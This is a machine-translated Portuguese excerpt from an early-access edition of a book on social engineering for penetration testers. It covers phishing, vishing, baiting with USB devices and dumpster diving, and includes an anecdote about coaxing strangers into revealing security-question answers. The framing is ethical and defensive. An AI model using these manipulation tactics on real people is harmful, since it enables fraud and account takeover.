Você está na página 1de 210

Machine Translated by Google

ACESSO ANTECIPADO
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

SEM IMPRENSA DE AMIDO


PROGRAMA DE ACESSO EA RLY:
FEEDBACK BEM-VINDO!

Bem-vindo à edição de acesso antecipado do ainda inédito Practical Social Engineering


de Joe Gray! Como título de pré-publicação, este livro pode estar incompleto e alguns
capítulos podem não ter sido revisados.
Nosso objetivo é sempre fazer os melhores livros possíveis e estamos ansiosos
para ouvir sua opinião. Se você tiver quaisquer comentários ou perguntas, envie um
email para earlyaccess@nostarch.com. Se você tiver comentários específicos para
nós, inclua o número da página, o título do livro e a data de edição em sua nota, e
nós o revisaremos. Agradecemos sua ajuda e apoio!
Enviaremos um e-mail para você assim que novos capítulos estiverem disponíveis. Enquanto isso,
aproveite!
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

SOCIAL PRÁTICO
ENGENHARIA
JOE GREY
Edição de acesso antecipado, 14/06/21

ENGENHARIA SOCIAL PRÁTICA. Copyright © 2021 de Joe Gray.

ISBN-13: 978-1-7185-0098-3 (imprimir)


ISBN-13: 978-1-7185-0099-0 (e-book)

Editora: William Pollock


Gerente de Produção e Editora: Rachel Monaghan
Editora de Desenvolvimento: Frances Saux
Capa e design de interiores: Octopod Studios
Revisor Técnico: Ken Pyle
Editora: Sharon Wilkey
Compositora: Maureen Forys, Happenstance Type-O-Rama
Revisor: James M. Fraleigh
Ilustrador: Rick Reese
Indexadora: Beth Nauman-Montana

No Starch Press e o logotipo No Starch Press são marcas registradas da No Starch Press, Inc. Outros
nomes de produtos e empresas mencionados aqui podem ser marcas registradas de seus respectivos
proprietários. Em vez de usar um símbolo de marca registrada em cada ocorrência de um nome de
marca comercial, utilizamos os nomes apenas de forma editorial e em benefício do proprietário da marca
registrada, sem intenção de violar a marca registrada.

Todos os direitos reservados. Nenhuma parte deste trabalho pode ser reproduzida ou transmitida de qualquer
forma ou por qualquer meio, eletrônico ou mecânico, incluindo fotocópia, gravação ou por qualquer sistema de
armazenamento ou recuperação de informações, sem a permissão prévia por escrito do proprietário dos direitos
autorais e do editor.

As informações contidas neste livro são distribuídas “como estão”, sem garantia. Embora todas as precauções
tenham sido tomadas na preparação deste trabalho, nem o autor nem a No Starch Press, Inc. terão qualquer
responsabilidade perante qualquer pessoa ou entidade com relação a qualquer perda ou dano causado ou
supostamente causado direta ou indiretamente pelo informações nele contidas.
Machine Translated by Google

CONTEÚDO

Introdução . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . XIX

PARTE I: O BÁSICO

Capítulo 1: O que é engenharia social? . . . . . ... . . . . . . . .3


Capítulo 2: Considerações Éticas em Engenharia Social. . . . 13

PARTE II: ENGENHARIA SOCIAL OFENSIVA

Capítulo 3: Preparando-se para um Ataque. . . . . . . . . . . . . . . . . . . 25


Capítulo 4: Reunindo OSINT de Negócios . . . . . . . . . . . . . . . . 35
Capítulo 5: Mídias Sociais e Documentos Públicos . . . . . . . . . . 53
Capítulo 6: Reunindo OSINT sobre pessoas. . . ... . . . . . . . 71
Capítulo 7: Phishing . . . . . . . . . . . . . . . . . . . ... . . . . . . . 83
Capítulo 8: Clonando uma Landing Page . . . . . . . . ... . . . . . . 107
Capítulo 9: Detecção, Medição e Relatórios . . . . . . 121

PARTE III: DEFENDENDO CONTRA A ENGENHARIA SOCIAL

Capítulo 10: Técnicas de Defesa Proativa. . . . . . . . . . . . . 137


Capítulo 11: Controles técnicos de e-mail . . . . . . . . . . . . . . . . 149
Capítulo 12: Produzindo Inteligência contra Ameaças . . . . . . . . . . . . 165
.

Apêndice A: Planilha de definição do escopo . . . . . . . . . . . . . . . . . . . 185


Apêndice B: Modelo de Relatório . . . . . . . . . . . . . . . . . . . . 189
Apêndice C: Planilha de coleta de informações . . . . . . . . . 195
Apêndice D: Exemplos de pretextos . . . . . . . . . . . . . . . . . . . . 199
Apêndice E: Exercícios para melhorar sua engenharia social. 203

Os capítulos em vermelho estão incluídos neste PDF de acesso antecipado.


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

PARTE I
O BÁSICO
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

1
O QUE É ENGENHARIA SOCIAL?

Engenharia social é qualquer ataque que utilize a


psicologia humana para influenciar um alvo,
fazendo-o executar uma ação ou fornecer alguma
informação. Esses ataques desempenham um papel
importante na indústria de segurança da informação e na
comunidade de hackers, mas provavelmente você também já
viu exemplos de comportamento semelhante em sua vida.
Por exemplo, as equipes de vendas e marketing costumam usar táticas de
engenharia social. Um vendedor que liga para clientes em potencial pode tentar
influenciar as pessoas do outro lado da linha, apresentando soluções para seus
problemas. As crianças muitas vezes mencionam o que as “crianças legais” estão
fazendo como um meio de ganhar autoridade junto aos pais, enquanto os pais
podem dar avisos exagerados sobre as consequências de tudo o que a criança está
buscando permissão para fazer (lembre-se de quantas vezes os adultos dizem a
Ralphie que ele vai dar um tiro no olho em Uma História de Natal).
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Muitas das pessoas que estão lendo este livro provavelmente atenderam uma
ligação dos “Microsofts” ou receberam um e-mail de um “príncipe nigeriano”. Muitas
pessoas, inclusive eu, receberam o phishing de bitcoin de “sextorsão” ou “ameaça de
bomba”.
Este livro ensinará os fundamentos da engenharia social do ponto de vista de
um testador de penetração. Os conceitos fornecidos aqui ajudarão você a entender
melhor como conduzir a engenharia social do ponto de vista ético, copiando as táticas
de um adversário malicioso para descobrir pontos fracos de segurança que você
poderá corrigir posteriormente. Ao contrário dos verdadeiros criminosos, você terá
permissão para realizar ataques de engenharia social e não causará danos
intencionalmente aos seus alvos.

Conceitos importantes em engenharia social


As seções a seguir descrevem os componentes da engenharia social, incluindo os tipos
mais comuns de ataques de engenharia social. Como testador de penetração, você
pode usar qualquer um desses ataques, mas normalmente estabeleço um limite ético
ao atingir os recursos pessoais dos funcionários, incluindo seus dispositivos móveis,
contas de mídia social e computadores domésticos. Os bandidos podem não ser
tão legais, mas você nem sempre deve imitá-los em seus testes, como discutiremos
no Capítulo 2.

Pretextando
De acordo com a Estrutura de Engenharia Social, pretextar é o ato de se passar
por alguém. Você poderia pretextar com um uniforme, uma história inventada ou o
contexto do contato, um termo que uso para me referir à sua desculpa para falar
com sua vítima. Se você afirmasse trabalhar para a empresa de gerenciamento de
lixeiras enquanto segurava uma prancheta e usava o uniforme da empresa, por
exemplo, estaria usando um pretexto.

Inteligência de código
aberto Inteligência de código aberto (OSINT) são informações sobre seu alvo
coletadas de um recurso disponível publicamente. As fontes de OSINT incluem
jornais, mecanismos de busca, a Comissão de Valores Mobiliários dos Estados
Unidos (SEC) ou registros de outros órgãos reguladores, mídias sociais, quadros de
empregos e sites de avaliação, apenas para citar alguns. OSINT ajuda você a inventar seu contexto pa
contato.
OSINT pode fazer ou quebrar seus esforços de engenharia social, porque para
ter sucesso, muitas vezes você precisará saber detalhes importantes sobre a empresa-
alvo e seus funcionários. Que tipo de rede privada virtual (VPN) eles estão usando?
Que outras tecnologias eles empregam? Qual é o layout físico do prédio da
organização? Conhecer esta informação pode ajudar o envolvimento a decorrer de
forma significativamente mais tranquila. Vários testadores de penetração líderes
me disseram que a proporção apropriada de tempo gasto coletando OSINT para
realmente realizar o teste de penetração varia de 30/70 a 70/30.

4 Capítulo 1
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Phishing

Provavelmente a forma mais comum de engenharia social, o phishing é o ato de enviar e-


mails fraudulentos para influenciar ou coagir um alvo a fornecer informações, abrir
arquivos ou clicar em links. Abordo a variedade de técnicas que você pode usar para
fazer isso mais adiante neste livro.
Os e-mails de phishing convencionais provavelmente não são endereçados a nenhum destinatário específico
destinatário. Em vez disso, normalmente são enviados para listas de endereços de e-
mail adquiridos por golpistas e criminosos. Isso significa que você provavelmente enviaria
o e-mail para um grande número de pessoas sem coletar OSINT sobre elas.
Por exemplo, com pouco ou nenhum contexto sobre o alvo, você pode criar um e-mail
genérico que tente fazer com que o usuário faça login em um site fraudulento ou baixe um
arquivo. Quando os alvos abrem o arquivo, um shell remoto pode abrir no computador ou
o alvo pode instalar malware. Depois que os invasores tiverem o shell ou o malware
instalado, eles poderão se comunicar interativamente com o sistema e realizar ataques pós-
exploração e escalonamento de privilégios para continuar comprometendo o sistema e a
rede.
Às vezes, os kits de exploração (software usado para perpetrar outros ataques e
lançar malware) usam phishing para espalhar seus produtos maliciosos. De acordo com o
Relatório de Ameaças à Segurança da Internet (ISTR) da Symantec de 2018, 0,5% de todo
o tráfego de URL é phishing e 5,8% desse tráfego é malicioso. Isso é 1 em 224 de todos os
URLs!
Dito isto, ataques simples de phishing como o descrito aqui não são comuns em
hackers éticos e testes de penetração. Se os clientes contratarem você para fazer um
teste de penetração, uma suposição segura pode ser que o cliente provavelmente tenha
maturidade de segurança suficiente para evitar cair em um simples ataque de phishing.

Phishing de lança

O spear phishing é uma variação do phishing convencional em que o engenheiro social


se concentra em um alvo específico. Se você fosse um pescador usando uma lança em vez
de uma rede, provavelmente precisaria saber como cada espécie de peixe se comportava
e como abordá-la. Da mesma forma, como engenheiro social, você precisará coletar,
sintetizar e transformar o OSINT em uma arma sobre sua empresa ou pessoa-alvo para
capturá-los adequadamente.
O ISTR afirma que o spear phishing é o vetor número um em ataques direcionados.
O relatório estimou em 2018 que 71% dos grupos organizados, incluindo estados-nação,
cibercriminosos e hacktivistas, utilizam o spear phishing para ajudar a atingir os seus
objetivos. Esse número caiu para 65 por cento em 2019.

Se você trabalhou como testador de penetração em engenharia social (ou como cônsul
(o que é importante para uma empresa, uma função na qual outras empresas pagam
para você atuar como consultor ou simular adversários), você provavelmente passaria a
maior parte do tempo simulando ataques de spear-phishing. Esses são os ataques mais
comuns que as empresas enfrentam e exigem o mínimo de interação direta, o que os
torna mais acessíveis para clientes em potencial.
Você começaria com uma investigação OSINT sobre a empresa ou pessoa alvo. Isto
pode incluir aprender sobre os prestadores de serviços que utilizam, por exemplo. Então
você poderia criar um e-mail de phishing alegando, digamos, ser seu

O que é engenharia social? 5


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

fornecedor de recursos humanos e fingindo oferecer informações relevantes sobre


suas inscrições abertas para W-2 ou seguro. Você inseriria o logotipo da empresa de
recursos humanos no e-mail, junto com o palavreado específico da empresa, e depois
enviaria o alvo a um clone do site real da empresa para tentar capturar suas credenciais
ou influenciá-lo a baixar um arquivo.

Baleeira

A caça às baleias é um phishing para o “grande phishing” – geralmente, os executivos


seniores de uma empresa. Durante meu tempo conduzindo testes de penetração de
engenharia social, descobri que esses alvos eram mais confiáveis do que muitos outros.
Eles também tendem a ter mais acesso do que o usuário médio. Por exemplo, é mais
provável que sejam administradores locais no sistema da empresa. Você precisará
abordar esses ataques de maneira diferente do que faz com o phishing ou o spear
phishing, porque essas pessoas têm motivações diferentes das, digamos, do suporte
técnico ou das equipes de vendas.
Imagine que o seu alvo seja o CFO de uma empresa. Você pode tentar fazer
algumas modificações no falso e-mail de spear phishing de recursos humanos que
você enviou anteriormente para construir um relacionamento adicional com o alvo. Você
pode personalizar o nome no e-mail, adicionar sua posição ou mencionar outros
recursos importantes sobre a implementação da plataforma pela empresa-alvo que
somente eles devem conhecer. Ou você pode ter que usar um cenário totalmente
diferente, envolvendo uma organização comercial ou grupo profissional ao qual seu
alvo pertence. OSINT pode ajudá-lo a entender a linguagem interna do grupo.

desejando

Em um ataque de vishing , um invasor liga para um alvo e fala com ele por telefone. O
vishing costuma ser mais difícil do que o phishing, porque requer habilidades de
improvisação. Embora o phishing lhe dê tempo para pensar sobre o que gostaria de dizer
antes de enviar seu e-mail, vishing envolve ter sua história montada desde o início e
relembrar rapidamente detalhes abstratos dela. Você também pode ter problemas para
fazer as pessoas atenderem o telefone; interpretar mal o layout do espaço de trabalho; ou
cometa erros graves, como se passar por pessoas no cubículo ao lado de sua vítima,
ou usar o sexo ou sexo errado
sotaque.

A vantagem de vishing é que você vê o resultado do seu ataque


imediatamente. Ao enviar um e-mail, você deve aguardar que sua mensagem seja
aberta, os links sejam clicados e os dados sejam inseridos. Embora o vishing consuma
mais tempo do que o phishing (especialmente por usuário), você pode causar muito
mais danos em um período mais curto com uma campanha de vishing bem-sucedida.

Durante esses compromissos, você provavelmente falsificará ou falsificará um


número de telefone usando um aplicativo móvel ou outro software e ligará para alguém
com um pretexto. Durante a ligação, você construirá um relacionamento com seu alvo
e, em seguida, tentará fazer com que ele execute uma ação ou forneça informações.

6 Capítulo 1
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você pode dizer que foi contratado para fazer uma pesquisa ou afirmar ser um cliente,
fornecedor ou cliente. Você solicitará informações relevantes ao seu pré-texto e depois
documentará isso em seu relatório.
Tenha cuidado ao gravar essas chamadas. Alguns estados são estados de partido
único e outros são estados de partido duplo. Os estados de partido único exigem que
apenas uma pessoa ao telefone consinta em gravar a chamada. Estados bipartidários
exigir que ambas as partes concordem com a gravação. Se você estiver direcionando
recursos de propriedade do cliente, o cliente poderá fornecer autorização para gravar a
chamada como segunda parte. Se você estiver interagindo com os dispositivos pessoais de
um alvo, o próprio alvo deverá consentir, o que vai contra o propósito do seu teste de
penetração. Antes de realizar qualquer teste desta forma, o testador ou empresa prudente
consultaria um consultor jurídico para garantir que todas as atividades são legais.

Isca

Baiting é usar algum tipo de isca para fazer o alvo realizar uma ação. Isso normalmente envolve
o uso de dispositivos USB ou alternativas inovadoras, como códigos QR, para fazer com que
os alvos executem códigos de computador maliciosos. Para compreender a eficiência dos
códigos QR, considere a sua prevalência em 2020, quando os restaurantes começaram a
utilizá-los para permitir menus “sem toque”.
Você pode carregar documentos falsos em um pen drive USB ou Hak5 Rubber
Ducky e depois rotular esses documentos como demissões, aumentos, bônus ou propriedade
do CEO. (Um Rubber Ducky é um dispositivo com um computador integrado, encerrado
em um invólucro idêntico a muitas unidades USB, que funciona como um teclado e pode
inserir dados em um sistema como se o próprio usuário estivesse digitando.) Você então
espalharia o dirige ou patinhos ao redor do campus alvo para as pessoas encontrarem.

Usar um patinho de borracha tem vantagens. Se você estiver usando um Rubber Ducky,
poderá carregar scripts maliciosos no dispositivo junto com arquivos reais e legítimos.
Quando alguém o conecta a um computador, ele ignora quaisquer ferramentas de
prevenção contra perda de dados (soluções de software ou hardware que impedem que
arquivos sejam movidos do computador via dispositivo de armazenamento USB, e-mail ou
protocolo como FTP ou SCP), uma vez que se apresenta como um teclado USB. Se você
usar um dispositivo USB normal, poderá ser interrompido por um software de prevenção
contra perda de dados. Caso contrário, o destino abrirá o arquivo e implantará a carga útil (o
script ou ferramenta que ajuda a produzir o resultado desejado).
Você pode usar isca para obter acesso a um shell remoto em um sistema, o que permite
começar a interagir diretamente com o computador host. Mas a isca é complicada porque é
difícil garantir que a isca chegue ao local do alvo e que quaisquer conchas, conexões ou
outras informações obtidas do computador de trabalho estejam dentro do escopo do combate.
As pessoas podem levar a unidade para casa e conectá-la a um computador doméstico,
que você não teria permissão para atacar.

Mergulhar na lixeira

Provavelmente, o tipo menos atraente de engenharia social é vasculhar o lixo, ou coletar


sacos de lixo do escritório-alvo e depois levá-los para fora do local para dissecá-los em
busca de informações. Você pode aprender mais sobre a organização e

O que é engenharia social? 7


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

encontre exatamente o que você estava procurando. Pense nas coisas que você joga fora.
Alguns são incrivelmente pessoais. Outros, porém, serão completamente irrelevantes para o
seu envolvimento (por exemplo, os sacos de lixo que você coleta podem vir dos banheiros
da empresa).
Para esse tipo de envolvimento, você muitas vezes se apresentará como funcionário da
empresa de lixo do alvo e inventará uma história para levá-lo à lixeira.
Ao chegar lá, colete alguns sacos de lixo, leve-os para fora do local e revise-os.

Ao mergulhar no lixo, você provavelmente vai querer usar luvas e talvez até um
respirador. Você pode até estimular a economia local e contratar estudantes do ensino
médio ou universitários para fazer o trabalho sujo. Anote o que você vê, leia todos os
materiais escritos e cole todos os documentos picados novamente. Este pode ser o fim do
jogo ou um trampolim para algo maior.

Conceitos Psicológicos em Engenharia Social


Ao contrário do resto do campo da segurança da informação – que toma emprestados
conceitos da ciência da computação, administração de sistemas, programação e administração
de bancos de dados – a engenharia social toma emprestado a maioria de seus conceitos da
psicologia. Por esta razão, os engenheiros sociais devem manter-se atualizados sobre os
desenvolvimentos na psicologia e no comportamento humano.
Quando eu estava pesquisando para uma tese de doutorado (que nunca terminei),
passei mais tempo lendo revistas psicológicas e sociológicas do que revistas de tecnologia.
De vez em quando, ainda reviso uma pasta de três polegadas cheia de artigos revisados
por pares e uso o acesso de meus ex-alunos a periódicos acadêmicos para verificar se há
novas informações. Nesta seção, reviso alguns conceitos psicológicos básicos que são úteis
para engenheiros sociais.

Influência
Influência é um termo neutro para direcionar o comportamento de uma pessoa para
causar um resultado específico. A influência pode ser positiva ou negativa. Um médico
conversando com um paciente sobre suas condições médicas, as ações corretivas que eles
podem tomar e os riscos que enfrentam para inspirá-los a viver um estilo de vida mais
saudável é um exemplo de influência.

Manipulação
Fora do mundo da psicologia, as pessoas normalmente definem a manipulação da mesma
forma que definem a influência. Mas dentro da área, os termos têm significados
distintamente diferentes. A manipulação é uma implementação prejudicial de influência,
normalmente destinada a causar danos. Na engenharia social, tanto os maus atores como
as pessoas bem-intencionadas recorrem frequentemente à manipulação em vez da influência,
seja por falta de formação ou por miopia.

Relatório
Rapport, em suma, é confiança mútua. O dicionário Merriam-Webster define rapport como
“um relacionamento amigável e harmonioso” e acrescenta que tal

8 Capítulo 1
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

o relacionamento é geralmente “caracterizado por acordo, compreensão mútua ou empatia que torna a
comunicação possível ou fácil”. A Associação Americana de Psicologia (APA) baseia-se nisso
dizendo que “o estabelecimento de relacionamento com um cliente em psicoterapia é frequentemente
um objetivo mediato significativo para o terapeuta facilitar e aprofundar a experiência terapêutica e
promover o progresso e a melhoria ideais”.

Tal como os terapeutas, os engenheiros sociais tentam construir uma relação com os seus alvos
para ganhar a sua confiança. Para construir relacionamento, eles muitas vezes contam com
experiências compartilhadas (sejam reais ou blefadas), atendem aos interesses do alvo e enfatizam
seus próprios traços de personalidade. Você pode usar OSINT para aprender sobre o que o alvo gosta
e não gosta.

Os Seis Princípios de Persuasão do Dr. Cialdini

Em seu livro Influence: The Psychology of Persuasion (Harper, 1983), o psicólogo Robert Cialdini
detalha a relação entre influência e manipulação. Neste texto, o Dr. Cialdini descreve seis princípios
básicos de persuasão: autoridade, simpatia, urgência e escassez, compromisso e consistência,
prova social e reciprocidade.

Vamos examinar mais de perto esses princípios e sua aplicabilidade.

Autoridade

As pessoas tendem a realizar uma determinada ação quando alguém em posição de autoridade
lhes diz para fazê-lo, ou quando são levadas a acreditar (verdadeiramente ou com falso pretexto) que
uma figura de autoridade também está realizando essa ação. Gosto de usar apelos à autoridade em
vishing. Por exemplo, posso ligar e dizer que estou operando sob a autoridade do CEO, do CISO ou de
uma lei específica.
Esta técnica pode ser muito eficaz. Tenha em mente, porém, que você nunca deve alegar ser
agente de um governo. Isto inclui qualquer membro do Federal Bureau of Investigation (FBI), da
Organização Internacional de Polícia Criminal (INTERPOL), da polícia estadual, da polícia local ou
do departamento do xerife; o Internal Revenue Service (IRS) ou outra entidade de arrecadação de
impostos; a Agência Central de Inteligência (CIA), a Agência de Segurança Nacional (NSA) ou a
Agência Federal de Gerenciamento de Emergências (FEMA), entre outras agências. Fazer isso é
um crime!

Simpatia

As pessoas tendem a querer ajudar pessoas simpáticas. Você já conheceu um vendedor que pelo
menos não tentou ser simpático? Freqüentemente, eles elogiarão seu traje, aparência e inteligência
para ganhar seu favor.

Urgência e Escassez

Os humanos naturalmente desejam coisas que são poucas. Recentemente aproveitei uma oferta em
uma academia local. Durante o processo de inscrição, um cronômetro apareceu me alertando que eu
tinha um minuto para concluir a transação ou seria removido do grupo de elegibilidade. eu passei
pelo processo

O que é engenharia social? 9


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

três vezes. Nas duas primeiras vezes, terminei com o mesmo endereço IP em um minuto. Na
terceira vez, perdi cerca de cinco minutos, e o cronômetro simplesmente zerava cada vez que
o minuto acabava.
Moral da história: a academia tentou usar a urgência para que eu me inscrevesse em
algo que pode ou não ter me beneficiado. O cronômetro dá aos clientes em potencial uma
restrição de tempo artificial e a sensação de que eles perderão se não agirem rapidamente.

Ao fazer phishing, muitos golpistas afirmam estar vendendo ou doando algo do qual
existe apenas uma quantidade pequena e finita. Para convencer as vítimas a agir, seja
clicando ou inserindo informações, elas oferecerão algo caro em um acordo que é bom
demais para ser verdade, com a ressalva de que as vítimas devem agir em pouco tempo.

Em outros casos, um criminoso pode tentar manipular a vítima para que pague um
resgate pelo ransomware, ameaçando dar à vítima apenas algumas horas para agir antes
de excluir, roubar ou liberar permanentemente os dados.
se eles planejam seguir em frente ou não. Os criminosos esperam assustar as vítimas e fazê-
las agir antes que elas tenham tempo de pensar sobre as coisas.

Compromisso e Consistência

As pessoas valorizam a consistência. Não gostamos de mudanças (na maioria das vezes).
Algumas vezes, os engenheiros sociais permanecem consistentes ou quebram a
consistência para influenciar os alvos. Um vendedor pode afirmar estar mais comprometido
com o sucesso de seu cliente do que com sua comissão, dizendo coisas como “Sempre
cuidei de meus clientes. Eu entendo você e sua organização. Eu sou o tipo de cara que ‘o que
você vê é o que você obtém’.” Isso é comum entre vendedores que dependem de
relacionamentos duradouros para trabalhar.

Prova Social

Geralmente somos pressionados a “acompanhar os Joneses”. Em outras palavras, muitas


vezes fazemos coisas apenas porque outras pessoas as consideram normais, apropriadas
ou de status. Os engenheiros sociais podem convencer seus alvos de que algo tem um
status elevado, ou podem dizer que todos os outros funcionários de alto desempenho
estão fazendo tudo o que estão tentando fazer com que um alvo faça. Fornecer evidências
da conveniência de algo é chamado de prova social. Um vendedor de carros pode tentar
convencê-lo a comprar um carro de luxo, dizendo-lhe que pessoas bem-sucedidas da sua
idade o dirigem, por exemplo.
Em uma campanha de engenharia social, o invasor poderia contar com a prova
social, reservando algum tempo para coletar alguns OSINT. Eles podem identificar quem
na empresa é influente. Em seguida, eles enviariam um e-mail para você, alegando que
falaram com a pessoa influente, que te elogiou e forneceu suas informações de contato
para ajudá-los a resolver o “problema”. Vários “recrutadores” me enviaram e-mails alegando
que um amigo lhes deu minhas informações de contato, mas não quis ser identificado. As
vagas eram para desenvolvimento Java, assunto que não tenho menção em meu currículo
ou no LinkedIn. Esse comportamento lhes rende um bloqueio.

10 Capítulo 1
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Reciprocidade

Todos nós tentamos ajudar as pessoas que nos ajudam. Freqüentemente, os


engenheiros sociais ajudam alguém em uma tarefa e depois pedem que ele faça algo
em troca que provavelmente não é do seu interesse. Um exemplo disso ocorreu quando
visitei a Conferência Layer 8, uma conferência de engenharia social em Newport, RI.
Próximo a um píer, vi um casal tentando tirar uma foto com um veleiro ao fundo. Eu me
ofereci para tirar uma foto deles.
"Ah, você faria?" eles perguntaram.
"Absolutamente. Você sabe o que? Aqui está meu telefone. Você pode segurá-lo
para saber que não vou fugir com o seu”, respondi, para construir um relacionamento
com eles.
Eu tirei a foto. Só então, outro barco majestoso passou diretamente
atrás deles. Eu disse a eles para esperarem. “Deixe-me tirar uma foto sua com este
barco ao fundo”, eu disse.
Eles concordaram. “Isso seria incrível.”
Tirei mais algumas fotos. Assim que terminei, entreguei-lhes o telefone para que
pudessem revisá-los e eles me agradeceram.
“Ei, de nada. Só por curiosidade, você tem um momento para me ajudar com a
pesquisa antropológica que estou fazendo como parte das minhas aulas de verão?”
Perguntei.
"Claro, o que é?" eles responderam.
Como tirei fotos para eles, eles se sentiram obrigados a retribuir, fazendo-me um
favor, mesmo que responder às perguntas que fiz não fosse do seu interesse.

“Estou a fazer um inquérito sobre os padrões de migração das pessoas e como


diferentes grupos étnicos se misturam com outros grupos étnicos. Estou recebendo
informações sobre nomes e para onde viajam, modelos e tal. Tenho uma quantidade
ridícula de informações sobre o lado paterno das famílias.
Qual era o nome da sua mãe antes de ela se casar? Observe que eu não disse: “Qual é o
nome de solteira da sua mãe?” porque essa pergunta dispara alarmes. Esta é uma
pergunta comum sobre redefinição de senha e as pessoas foram condicionadas a
proteger essas informações.
Ambos me contaram e depois me contaram de onde eram. eu disse
eles que eu tinha alguns amigos lá. Isso era mentira; na verdade, eu estava vagamente
familiarizado com a área. Eu disse que meus amigos frequentavam uma certa escola
secundária na cidade deles. Eles responderam que era uma escola secundária rival. Eu
os encorajei.
“Qual era o mascote?” Perguntei.
Eles me contaram o mascote. Eu poderia ter continuado. . ..

Simpatia vs. Empatia


Uma excelente forma de construir relacionamento, a simpatia é cuidar para que uma pessoa se sinta mal
ou esteja sob algum tipo de pressão, como depois de perder um ente querido ou um animal de estimação.
Às vezes confundida com simpatia, empatia é compreender como as pessoas se sentem
como se você estivesse na situação delas. A empatia usa emoções ou perspectivas
compartilhadas, enquanto a simpatia expressa apenas como você se sente.

O que é engenharia social? 11


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Ambos são importantes para construir relacionamento sob certas circunstâncias.


posturas. Você precisa ser capaz de expressar como se sente e como a vítima se
sente, para poder exercer influência e saber quando está indo longe demais.
Ao interagir com uma vítima, você pode compartilhar uma história (seja real, falsa ou
alguma combinação embelezada das duas) de uma situação semelhante em que você
esteve e como isso o fez sentir. Isso permite que eles demonstrem empatia pela sua
situação e melhore o seu relacionamento. Alternativamente, se alguém lhe disser algo com
o qual você não se identifica, fazer perguntas sobre a situação ou dizer que lamenta que
algo tenha acontecido é um exemplo de expressão de simpatia. Porém, tenha cuidado:
se você tiver uma resposta ou anedota para tudo o que uma pessoa lhe conta, ela pode
ficar desconfiada, então use essa abordagem com moderação.

Conclusão

A engenharia social pode ser uma ferramenta incrivelmente poderosa para obter
acesso. Este capítulo apresentou uma série de técnicas, muitas das quais
exploraremos com mais profundidade ao longo do livro.
Tenha em mente que relacionamento é o nome do jogo. Depois de construir o
relacionamento, o resto do seu envolvimento será mais fácil. Compreender os conceitos
psicológicos e o comportamento humano subjacente é uma forma útil de estabelecer
uma conexão com alguém. Além disso, quanto mais OSINT você coletar, mais
inteligentemente você poderá falar sobre uma organização. Você pode encontrar dicas
para construir relacionamento com os funcionários e, ao mesmo tempo, aprender sobre
cultura, operações e tecnologias, o que pode facilitar atividades posteriores em um
pentesting ou no envolvimento da equipe vermelha. As informações irão ajudá-lo se você
estiver praticando phishing, vishing, spear phishing, caça à baleia, isca ou mergulho em lixeiras.

12 Capítulo 1
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

2
CONSIDERAÇÕES ÉTICAS EM
ENGENHARIA SOCIAL

Ao contrário dos testes de penetração em


redes e aplicativos web, o impacto da
engenharia social pode se estender além dos
limites de um laptop ou servidor. Quando você está interagindo
pessoas reais, você deve tomar precauções especiais
para evitar machucá-las.
Você também deve certificar-se de cumprir as leis em sua área, bem como
a localização de quaisquer pessoas ou empresas em potencial que você terá
como alvo. Embora possa não haver um precedente legal que oriente você a
coletar OSINT de uma forma específica - ou que o restrinja de coletar OSINT -
algumas leis, como o Regulamento Geral de Proteção de Dados (GDPR) da
União Europeia (UE), estabelecem responsabilidades e repercussões sobre
você nos dados que você coleta e ditam como você deve protegê-los. Este
capítulo descreve diretrizes para conduzir engenharia social e coletar OSINT de
maneira legal e ética.
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Engenharia Social Ética


Vamos começar falando sobre o ataque de engenharia social em si. Em um trabalho de
engenharia social, você deve ser sensível à forma como o alvo se sentirá como resultado
de suas ações. Isto pode ser complicado, porque é preciso desenvolver formas de mostrar
que uma empresa é vulnerável, normalmente porque os funcionários não têm formação
adequada ou processos a seguir, sem vitimizar ou vilanizar a pessoa que lhe revelou
essas vulnerabilidades.
Uma maneira de proteger as pessoas é mantê-las relativamente anônimas para você.
cliente. Por exemplo, em vez de relatar que Ed, da Contabilidade, clicou em um link em
um e-mail de phishing, diga que alguém da Contabilidade ou das Finanças foi vítima de
um ataque de phishing. Ao fazer isso, você deve considerar o tamanho da organização
e a capacidade dos colegas de adivinhar a identidade da vítima a partir dos detalhes
fornecidos. Se você trabalha em uma pequena empresa – digamos, a No Starch Press, a
editora deste livro – você pode evitar dizer que Bill Pollock, o fundador da empresa,
tinha muitas informações permissivas postadas publicamente no Facebook e optar, em
vez disso, por declarar que um gerente não tinha privacidade e controles de acesso nas
redes sociais.
Os verdadeiros bandidos provavelmente não aderirão a limites semelhantes. Nos
testes de penetração, porém, não devemos copiar tudo o que os bandidos fazem. Se o
fizéssemos, estaríamos usando ataques de negação de serviço (ataques contra redes e
sistemas que impedem que usuários e serviços legítimos possam acessá-los) contra
clientes de testes de penetração; doxing clientes divulgando publicamente suas informações
pessoais, como endereço, endereço de e-mail e número de telefone; e implantação de
ransomware (software malicioso que exige que as vítimas paguem um resgate para
desbloqueá-lo).
Aqui estão algumas dicas para proteger as pessoas em seus compromissos de
engenharia social.

Estabelecendo Limites
Não é preciso dizer o seguinte: se as pessoas pedirem para você parar de falar com elas
ou se elas encerrarem a conversa, você deve parar. Além disso, embora você possa
visualizar as postagens públicas de um alvo nas redes sociais e criar um perfil sobre elas,
você nunca deve fazer o seguinte:

•Direcione suas contas pessoais (isso inclui conectar-se a elas)


•Direcione-os fora do trabalho

Imagine que alguém lhe fizesse perguntas de trabalho continuamente quando


